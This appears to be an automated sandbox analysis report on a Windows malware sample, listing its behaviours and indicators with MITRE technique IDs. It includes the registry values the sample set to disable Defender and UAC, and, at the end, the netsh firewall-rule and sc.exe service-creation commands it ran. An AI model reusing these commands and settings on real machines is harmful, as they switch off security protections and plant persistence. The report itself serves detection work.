sheetrat | c2fe9cac76943167521ebbbaad51b634510488ef68a5c54966b0ec04d8b2ad30

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	BootExecutor.exe

UAC bypass 3 TTPs 12 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe

Custom signature

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs

resource	yara_rule
behavioral1/memory/2824-0-0x0000022C75CC0000-0x0000022C75D2E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral1/files/0x000800000002465d-10.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Custom signature

Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs

resource	yara_rule
behavioral1/memory/2824-0-0x0000022C75CC0000-0x0000022C75D2E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/files/0x000800000002465d-10.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Custom signature

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/memory/2824-0-0x0000022C75CC0000-0x0000022C75D2E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/files/0x000800000002465d-10.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2068	powershell.exe
4556	powershell.exe
3120	powershell.exe
4488	powershell.exe
3380	powershell.exe
1476	powershell.exe
4444	powershell.exe
220	powershell.exe
4840	powershell.exe
2256	powershell.exe
1864	powershell.exe
2804	powershell.exe
4200	powershell.exe
4512	powershell.exe
1768	powershell.exe
1008	powershell.exe
4840	powershell.exe
2256	powershell.exe
1008	powershell.exe
1864	powershell.exe
4200	powershell.exe
220	powershell.exe
4512	powershell.exe
1768	powershell.exe
3380	powershell.exe
1476	powershell.exe
2068	powershell.exe
4444	powershell.exe
3120	powershell.exe
2804	powershell.exe
4488	powershell.exe
4556	powershell.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5112	netsh.exe
1628	netsh.exe
3808	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
1828	BootExecutor.exe
4584	M1004NUS.exe
3320	M1004NUS.exe
884	BootExecutor.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Checks whether UAC is enabled 1 TTPs 6 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
10	ip-api.com
39	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\BootFiles\BootExecutor.exe	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe.log	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4564	sc.exe
4900	sc.exe
932	sc.exe
4564	sc.exe
4856	sc.exe
5040	sc.exe
4884	sc.exe
4564	sc.exe
4748	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 16 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3828	cmd.exe
2568	cmd.exe
2320	cmd.exe
2660	cmd.exe
2428	cmd.exe
1528	cmd.exe
4912	cmd.exe
3880	cmd.exe
536	cmd.exe
4712	CMD.exe
1820	cmd.exe
756	cmd.exe
3524	cmd.exe
4320	CMD.exe
708	cmd.exe
5112	cmd.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	BootExecutor.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 28 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3408	schtasks.exe
4348	schtasks.exe
4196	schtasks.exe
1748	schtasks.exe
2536	schtasks.exe
3264	schtasks.exe
4688	schtasks.exe
2496	schtasks.exe
3436	schtasks.exe
3264	schtasks.exe
4884	schtasks.exe
3416	schtasks.exe
3424	schtasks.exe
4492	schtasks.exe
2728	schtasks.exe
848	schtasks.exe
3700	schtasks.exe
3144	schtasks.exe
1884	schtasks.exe
2496	schtasks.exe
3900	schtasks.exe
4984	schtasks.exe
2316	schtasks.exe
4120	schtasks.exe
4904	schtasks.exe
3524	schtasks.exe
3376	schtasks.exe
4276	schtasks.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
4200	powershell.exe
4200	powershell.exe
1476	powershell.exe
1476	powershell.exe
2068	powershell.exe
2068	powershell.exe
2256	powershell.exe
2256	powershell.exe
4444	powershell.exe
4444	powershell.exe
4556	powershell.exe
4556	powershell.exe
220	powershell.exe
220	powershell.exe
4512	powershell.exe
4512	powershell.exe
4840	powershell.exe
4840	powershell.exe
3120	powershell.exe
3120	powershell.exe
1768	powershell.exe
1768	powershell.exe
1008	powershell.exe
1008	powershell.exe
2804	powershell.exe
2804	powershell.exe
4488	powershell.exe
4488	powershell.exe
1864	powershell.exe
1864	powershell.exe
3380	powershell.exe
3380	powershell.exe
1828	BootExecutor.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	1196	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	3120	powershell.exe
Token: SeDebugPrivilege	1828	BootExecutor.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	4488	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	4584	M1004NUS.exe
Token: SeDebugPrivilege	3320	M1004NUS.exe
Token: SeDebugPrivilege	884	BootExecutor.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2824 wrote to memory of 2428	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	86
PID 2428 wrote to memory of 5112	2428	cmd.exe	88
PID 2824 wrote to memory of 4748	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	89
PID 2824 wrote to memory of 4564	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	91
PID 2824 wrote to memory of 4900	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	93
PID 2824 wrote to memory of 2000	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	97
PID 2824 wrote to memory of 4200	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	101
PID 2824 wrote to memory of 4984	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	102
PID 2824 wrote to memory of 1476	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	105
PID 2824 wrote to memory of 4176	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	107
PID 2824 wrote to memory of 3264	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	109
PID 2824 wrote to memory of 2068	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	111
PID 2824 wrote to memory of 1524	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	113
PID 2824 wrote to memory of 2316	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	115
PID 2824 wrote to memory of 2256	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	117
PID 2824 wrote to memory of 1324	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	119
PID 2824 wrote to memory of 4444	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	121
PID 2824 wrote to memory of 4492	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	123
PID 2824 wrote to memory of 4556	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	125
PID 2824 wrote to memory of 3992	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	127
PID 2824 wrote to memory of 220	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	129
PID 2824 wrote to memory of 4120	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	131
PID 2824 wrote to memory of 1544	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	133
PID 2824 wrote to memory of 4512	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	135
PID 2824 wrote to memory of 4904	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	137
PID 2824 wrote to memory of 1528	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	139
PID 1528 wrote to memory of 2728	1528	cmd.exe	141
PID 2824 wrote to memory of 4840	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	142
PID 2824 wrote to memory of 3120	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	144
PID 2824 wrote to memory of 1768	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	148
PID 2824 wrote to memory of 1008	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	150
PID 2824 wrote to memory of 2804	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	152
PID 2824 wrote to memory of 4488	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	154
PID 2824 wrote to memory of 1864	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	156
PID 2824 wrote to memory of 3380	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	158
PID 2824 wrote to memory of 3728	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	160
PID 2824 wrote to memory of 4320	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	161
PID 2824 wrote to memory of 4912	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	162
PID 2824 wrote to memory of 708	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	163
PID 2824 wrote to memory of 3828	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	164
PID 2824 wrote to memory of 2568	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	165
PID 2824 wrote to memory of 2320	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	166
PID 4320 wrote to memory of 2184	4320	CMD.exe	174
PID 4912 wrote to memory of 848	4912	cmd.exe	175
PID 708 wrote to memory of 4688	708	cmd.exe	176
PID 3828 wrote to memory of 2496	3828	cmd.exe	177
PID 2568 wrote to memory of 3436	2568	cmd.exe	178
PID 2320 wrote to memory of 3264	2320	cmd.exe	179
PID 2824 wrote to memory of 4584	2824	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	180
PID 4584 wrote to memory of 3880	4584	M1004NUS.exe	183
PID 3880 wrote to memory of 1628	3880	cmd.exe	185
PID 4584 wrote to memory of 5040	4584	M1004NUS.exe	186
PID 4584 wrote to memory of 932	4584	M1004NUS.exe	188
PID 4584 wrote to memory of 4564	4584	M1004NUS.exe	190
PID 4584 wrote to memory of 368	4584	M1004NUS.exe	192
PID 4584 wrote to memory of 4712	4584	M1004NUS.exe	194
PID 4584 wrote to memory of 2660	4584	M1004NUS.exe	195
PID 4584 wrote to memory of 5112	4584	M1004NUS.exe	196
PID 4584 wrote to memory of 1820	4584	M1004NUS.exe	197
PID 4712 wrote to memory of 1156	4712	CMD.exe	202
PID 2660 wrote to memory of 4348	2660	cmd.exe	203
PID 5112 wrote to memory of 3524	5112	cmd.exe	204
PID 1820 wrote to memory of 4884	1820	cmd.exe	205
PID 4584 wrote to memory of 756	4584	M1004NUS.exe	206

System policy modification 1 TTPs 18 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Checks computer location settings
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2824
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:5112
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4748
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4564
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4900
- C:\Windows\SYSTEM32\schtasks.exe
